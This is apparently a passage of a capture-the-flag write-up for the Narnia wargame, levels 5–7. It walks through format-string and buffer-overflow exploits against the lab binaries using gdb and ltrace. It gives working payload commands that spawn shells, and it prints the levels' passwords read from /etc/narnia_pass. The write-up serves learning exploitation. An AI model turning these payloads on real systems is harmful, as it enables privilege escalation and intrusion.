Clearly, this padding of 2 characters to make it print in 10 characters changes the value of i from 12 to 14. Therefore, if we pad to make it 496 characters long, then the addition with the 4 bytes of the address will make the sum 500. This is done as follows -

narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print("\xe0\xd6\xff\xff%496x%1$n")') Change i's value from 1 -> 500. GOOD $ whoami narnia6 $ cat /etc/narnia_pass/narnia6 neezocaeng

Thus, the password of narnia6 is neezocaeng.


The code contained in narnia6.c is as follows -

#include <stdio.h> #include <stdlib.h> #include <string.h> extern char **environ; // tired of fixing values... // - morla unsigned long get_sp(void) { __asm__("movl %esp,%eax\n\t" "and $0xff000000, %eax" ); } int main(int argc, char *argv[]){ char b1[8], b2[8]; int (*fp)(char *)=(int(*)(char *))&puts, i; if(argc!=3){ printf("%s b1 b2\n", argv[0]); exit(-1); } for(i=0; environ[i] != NULL; i++) memset(environ[i], '\0', strlen(environ[i])); for(i=3; argv[i] != NULL; i++) memset(argv[i], '\0', strlen(argv[i])); strcpy(b1,argv[1]); strcpy(b2,argv[2]); //if(((unsigned long)fp & 0xff000000) == 0xff000000) if(((unsigned long)fp & 0xff000000) == get_sp()) exit(-1); setreuid(geteuid(),geteuid()); fp(b1); exit(1); }

The code consists of a definition of a function pointer fp which basically maps to the address of puts. Therefore, when the function is called, puts will actually be executed. The program then nullifies extra arguments and the environment variables, then copies the values of the buffers into variables b1 and b2, which can be overflowed by the looks of the program. Then a check function is called after which the reuid is set to the euid for the user and fp is called on the variable b1 i.e., puts is called for the buffer b1. The disassembly of the code is as follows -

narnia6@narnia:/narnia$ gdb -q narnia6 Reading symbols from narnia6...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) disas main Dump of assembler code for function main: 0x080485a8 <+0>: push ebp 0x080485a9 <+1>: mov ebp,esp 0x080485ab <+3>: push ebx ........ 0x0804860c <+100>: call 0x8048480 <memset@plt> 0x08048611 <+105>: add esp,0xc ........ 0x08048665 <+189>: call 0x8048480 <memset@plt> 0x0804866a <+194>: add esp,0xc ........ 0x08048693 <+235>: call 0x8048420 <strcpy@plt> 0x08048698 <+240>: add esp,0x8 ........ 0x080486a8 <+256>: call 0x8048420 <strcpy@plt> 0x080486ad <+261>: add esp,0x8 0x080486b0 <+264>: mov eax,DWORD PTR [ebp-0xc] 0x080486b3 <+267>: and eax,0xff000000 0x080486b8 <+272>: mov ebx,eax 0x080486ba <+274>: call 0x804859b <get_sp> 0x080486bf <+279>: cmp ebx,eax 0x080486c1 <+281>: jne 0x80486ca <main+290> 0x080486c3 <+283>: push 0xffffffff 0x080486c5 <+285>: call 0x8048440 <exit@plt> 0x080486ca <+290>: call 0x8048410 <geteuid@plt> ---Type <return> to continue, or q <return> to quit--- 0x080486cf <+295>: mov ebx,eax 0x080486d1 <+297>: call 0x8048410 <geteuid@plt> 0x080486d6 <+302>: push ebx 0x080486d7 <+303>: push eax 0x080486d8 <+304>: call 0x8048450 <setreuid@plt> 0x080486dd <+309>: add esp,0x8 0x080486e0 <+312>: lea eax,[ebp-0x14] 0x080486e3 <+315>: push eax 0x080486e4 <+316>: mov eax,DWORD PTR [ebp-0xc] 0x080486e7 <+319>: call eax <--------------- call to an address (fp) 0x080486e9 <+321>: add esp,0x4 0x080486ec <+324>: push 0x1 0x080486ee <+326>: call 0x8048440 <exit@plt> End of assembler dump.

Looking at the disassembly of the code and following through the code, the 4th last line is where the function fp is called. This can be checked by looking at the call statement being made to eax register after the geteuid and setreuid methods. The value in eax is given by the mov statement above this. To check the stack behavior now, we put a breakpoint at the exit statement right after the call to fp and then proceed to look at the stack.

(gdb) b *main+326 Breakpoint 1 at 0x80486ee (gdb) r AAAA BBBB Starting program: /narnia/narnia6 AAAA BBBB AAAA Breakpoint 1, 0x080486ee in main () (gdb) i r eax 0x5 5 ecx 0xfbad0084 -72548220 edx 0xf7fc6870 -134453136 ebx 0x36b6 14006 esp 0xffffd698 0xffffd698 ebp 0xffffd6b8 0xffffd6b8 esi 0x3 3 edi 0xf7fc5000 -134459392 eip 0x80486ee 0x80486ee <main+326> eflags 0x286 [ PF SF IF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99 (gdb) x/10wx $esp 0xffffd698: 0x00000001 0x42424242 0xf7fc5300 0x41414141 0xffffd6a8: 0x08048700 0x08048430 0x00000003 0x00000000 0xffffd6b8: 0x00000000 0xf7e2a286 (gdb) x $ebp-0xc 0xffffd6ac: 0x08048430 (gdb) x 0x08048430 0x8048430 <puts@plt>: 0x99c825ff

We see that on printing the stack, we can locate the variable positions as b2, then b1 followed by fp. We can locate fp by examining the location ebp-0xc, the contents of which were moved into the eax register. This gives us the address which is located 8 bytes after the start of b1. Upon examining the address, we see it is in fact 'puts' itself, which confirms that the function fp is at that address. Therefore, if we can change the address of fp to some other function, we can force a shell. A viable option is the system function which behaves well with the given construct of setreuid and geteuid. Since the buffer locations are also known, they can be used to overflow the stack and thus change the address of fp to system. To get the address of system, we can print using gdb as follows -

(gdb) p system $1 = {<text variable, no debug info>} 0xf7e4c850 <system>

Now that we have the address of system, we can overwrite the buffers such that b1 holds /bin/sh and fp address holds system address.

narnia6@narnia:/narnia$ ./narnia6 $(python -c 'print("/bin/sh;" + "\x50\xc8\xe4\xf7")') BBBB $ whoami narnia7 $ cat /etc/narnia_pass/narnia7 ahkiaziphu

Thus, the password for narnia7 is ahkiaziphu.


The code for narnia7.c contains -

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdlib.h> #include <unistd.h> int goodfunction(); int hackedfunction(); int vuln(const char *format){ char buffer[128]; int (*ptrf)(); memset(buffer, 0, sizeof(buffer)); printf("goodfunction() = %p\n", goodfunction); printf("hackedfunction() = %p\n\n", hackedfunction); ptrf = goodfunction; printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf); printf("I guess you want to come to the hackedfunction...\n"); sleep(2); ptrf = goodfunction; snprintf(buffer, sizeof buffer, format); return ptrf(); } int main(int argc, char **argv){ if (argc <= 1){ fprintf(stderr, "Usage: %s <buffer>\n", argv[0]); exit(-1); } exit(vuln(argv[1])); } int goodfunction(){ printf("Welcome to the goodfunction, but i said the Hackedfunction..\n"); fflush(stdout); return 0; } int hackedfunction(){ printf("Way to go!!!!"); fflush(stdout); setreuid(geteuid(),geteuid()); system("/bin/sh"); return 0; }

After reading the code above, we see that the main function calls the vuln function with a command line argument as its argument. Inside the vuln function, the program clears the defined buffer, defines a function pointer, and prints the addresses for the goodfunction and the hackedfunction (for ease). Upon examining the two functions stated, it is clear that the goal is to somehow execute the hackedfunction such that the shell is spawned using system. By examining the code, we see that the snprintf call in vuln is a point of format string attack execution. The function vuln has a return statement which returns the function pointed by prtf. This function pointer has been set to the address to the address of goodfunction, and the goal is to change the address to that of hackedfunction.

Therefore, we disassemble the function vuln and examine the contents of stack using format string specifiers, to check for the required data.

narnia7@narnia:/narnia$ gdb -q narnia7 Reading symbols from narnia7...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) disas vuln Dump of assembler code for function vuln: 0x0804861b <+0>: push ebp 0x0804861c <+1>: mov ebp,esp 0x0804861e <+3>: sub esp,0x84 0x08048624 <+9>: push 0x80 0x08048629 <+14>: push 0x0 0x0804862b <+16>: lea eax,[ebp-0x80] 0x0804862e <+19>: push eax 0x0804862f <+20>: call 0x80484f0 <memset@plt> 0x08048634 <+25>: add esp,0xc 0x08048637 <+28>: push 0x80486ff 0x0804863c <+33>: push 0x80487f0 0x08048641 <+38>: call 0x8048450 <printf@plt> 0x08048646 <+43>: add esp,0x8 0x08048649 <+46>: push 0x8048724 0x0804864e <+51>: push 0x8048805 0x08048653 <+56>: call 0x8048450 <printf@plt> 0x08048658 <+61>: add esp,0x8 0x0804865b <+64>: mov DWORD PTR [ebp-0x84],0x80486ff 0x08048665 <+74>: mov eax,DWORD PTR [ebp-0x84] 0x0804866b <+80>: lea edx,[ebp-0x84] 0x08048671 <+86>: push edx 0x08048672 <+87>: push eax 0x08048673 <+88>: push 0x804881d 0x08048678 <+93>: call 0x8048450 <printf@plt> 0x0804867d <+98>: add esp,0xc 0x08048680 <+101>: push 0x8048838 0x08048685 <+106>: call 0x8048490 <puts@plt> 0x0804868a <+111>: add esp,0x4 0x0804868d <+114>: push 0x2 0x0804868f <+116>: call 0x8048470 <sleep@plt> 0x08048694 <+121>: add esp,0x4 0x08048697 <+124>: mov DWORD PTR [ebp-0x84],0x80486ff 0x080486a1 <+134>: push DWORD PTR [ebp+0x8] 0x080486a4 <+137>: push 0x80 0x080486a9 <+142>: lea eax,[ebp-0x80] 0x080486ac <+145>: push eax 0x080486ad <+146>: call 0x8048500 <snprintf@plt> 0x080486b2 <+151>: add esp,0xc 0x080486b5 <+154>: mov eax,DWORD PTR [ebp-0x84] 0x080486bb <+160>: call eax <------call to prtf 0x080486bd <+162>: leave 0x080486be <+163>: ret End of assembler dump. (gdb) b *vuln+160 Breakpoint 1 at 0x80486bb (gdb) r AAAA Starting program: /narnia/narnia7 AAAA goodfunction() = 0x80486ff hackedfunction() = 0x8048724 before : ptrf() = 0x80486ff (0xffffd628) I guess you want to come to the hackedfunction... Breakpoint 1, 0x080486bb in vuln () (gdb) x/24wx $esp 0xffffd628: 0x080486ff 0x41414141 0x00000000 0x00000000 0xffffd638: 0x00000000 0x00000000 0x00000000 0x00000000 0xffffd648: 0x00000000 0x00000000 0x00000000 0x00000000 0xffffd658: 0x00000000 0x00000000 0x00000000 0x00000000 0xffffd668: 0x00000000 0x00000000 0x00000000 0x00000000 0xffffd678: 0x00000000 0x00000000 0x00000000 0x00000000

Now, we can enter an input of AAAA to check the position in stack where the buffer gets written and thereby also calculate the offset of the value from the start of the printf controlled stack. We see from above that the stack starts at 0xffff628 and the second word after the start if the value that we entered. Therefore, the offset is 2. This cannot be done easily in gdb as the function doesn't explicitly print any address. This can be done by using ltrace which also returns the output of the library call to snprintf as follows -

narnia7@narnia:/narnia$ ltrace ./narnia7 $(python -c 'print("AAAA%x%x%x%x%x%x")') __libc_start_main(0x80486bf, 2, 0xffffd774, 0x8048770 <unfinished ...> memset(0xffffd64c, '\0', 128) = 0xffffd64c printf("goodfunction() = %p\n", 0x80486ffgoodfunction() = 0x80486ff ) = 27 printf("hackedfunction() = %p\n\n", 0x8048724hackedfunction() = 0x8048724 ) = 30 printf("before : ptrf() = %p (%p)\n", 0x80486ff, 0xffffd648before : ptrf() = 0x80486ff (0xffffd648) ) = 41 puts("I guess you want to come to the "...I guess you want to come to the hackedfunction... ) = 50 sleep(2) = 0 snprintf("AAAA80486ff414141413834303834666"..., 128, "AAAA%x%x%x%x%x%x", 0x80486ff, 0x41414141, 0x38343038, 0x34666636, 0x34313431, 0x33313431) = 51 puts("Welcome to the goodfunction, but"...Welcome to the goodfunction, but i said the Hackedfunction.. ) = 61 fflush(0xf7fc5d60) = 0 exit(0 <no return ...> +++ exited (status 0) +++

Here, we see that the line with snprintf has the output from the library call in the brackets, where after AAAA, it prints an address and then 0x41414141. This means that the second word is the required value. Thus offset is 2.

To execute the attack now, we must give an address, the value for which we need to modify to get the hack going. Therefore, we need to change the value of prtf pointer to hackedfunction from goodfunction. Therefore, we need to change the value at address of prtf from the address of goodfunction to that of hackedfunction. The fomat string attack is done in the following way - Let ad be the address at which we need to write. Let HOB be higher order byte of the value to be written, LOB be the lower order byte of the value to be written. Also, offset is the offset from the first value of stack to the address where the attacker controlled buffer writes to. Then the payload that we need to create is made as follows -

  1. if HOB < LOB, then payload is - [ad+2][ad]%.[HOB-8]x%[offset]$hn%.[LOB-HOB]x%[offset+1]$hn
  2. if LOB < HOB, then payload is - [ad+2][ad]%.[LOB-8]x%[offset+1]$hn%.[HOB-LOB]x%[offset]$hn

Following this, we have ad = 0xffffd628, which is the address of prtf as given by the output of the program. The value thats to be written to this address is the address of hackedfunction which is also given by the output of the program (and can be obtained by using p hackedfunction on gdb) as 0x8048724. The offset is 2. Here the HOB is 0x0804 which is less than the LOB, therefore, following the above stated convention for payload generation and using python to convert between hexadecimal and decimal, we get the payload as -

$(python -c 'print("\x30\xd6\xff\xff\x28\xd6\xff\xff%.2044x%2$hn%.32544x%3$hn")')

Therefore, if we execute this, we get the following -

narnia7@narnia:/narnia$ ./narnia7 $(python -c 'print("\x30\xd6\xff\xff\x28\xd6\xff\xff%.2044x%2$hn%.32544x%3$hn")') goodfunction() = 0x80486ff hackedfunction() = 0x8048724 before : ptrf() = 0x80486ff (0xffffd648) I guess you want to come to the hackedfunction... Welcome to the goodfunction, but i said the Hackedfunction..

The payload did not work. Upon a closer look, we can see that the address we need to write to has shifted due to change in the environment. Therefore, we make the required changes to the address and get the shell as follows -

narnia7@narnia:/narnia$ ./narnia7 $(python -c 'print("\x50\xd6\xff\xff\x48\xd6\xff\xff%.2044x%2$hn%.32544x%3$hn")') goodfunction() = 0x80486ff hackedfunction() = 0x8048724 before : ptrf() = 0x80486ff (0xffffd648) I guess you want to come to the hackedfunction... Way to go!!!!$ whoami narnia8 $ cat /etc/narnia_pass/narnia8 mohthuphog

Thus, the password for narnia8 is mohthuphog.